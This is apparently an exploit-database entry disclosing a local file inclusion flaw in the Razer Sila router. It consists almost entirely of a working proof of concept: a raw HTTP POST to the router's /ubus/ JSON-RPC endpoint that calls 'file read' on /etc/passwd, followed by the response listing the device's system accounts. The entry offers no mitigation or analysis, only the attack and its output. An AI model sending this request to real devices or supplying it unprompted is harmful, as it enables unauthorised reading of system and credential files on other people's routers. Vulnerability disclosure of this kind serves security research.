Razer Sila 2.0.418 Local File Inclusion

`# Exploit Title: Razer Sila - Local File Inclusion (LFI)  
# Google Dork: N/A  
# Date: 4/9/2022  
# Exploit Author: Kevin Randall  
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila  
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila  
# Version: RazerSila-2.0.441_api-2.0.418  
# Tested on: Razer Sila Router  
# CVE N/A  
  
# Proof of Concept  
  
# Request  
POST /ubus/ HTTP/1.1  
Host: 192.168.8.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 123  
Origin: https://192.168.8.1  
Referer: https://192.168.8.1/  
Te: trailers  
Connection: close  
  
{"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}  
  
# Reponse  
HTTP/1.1 200 OK  
Connection: close  
Content-Type: application/json  
Content-Length: 537  
  
{"jsonrpc":"2.0","id":3,"result":[0,{"data":"root:x:0:0:root:\/root:\/bin\/ash\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\nmosquitto:x:200:200:mosquitto:\/var\/run\/mosquitto:\/bin\/false\nlldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false\nadmin:x:1000:1000:root:\/home\/admin:\/bin\/false\nportal:x:1001:1001::\/home\/portal:\/bin\/false\n"}]}  
  
`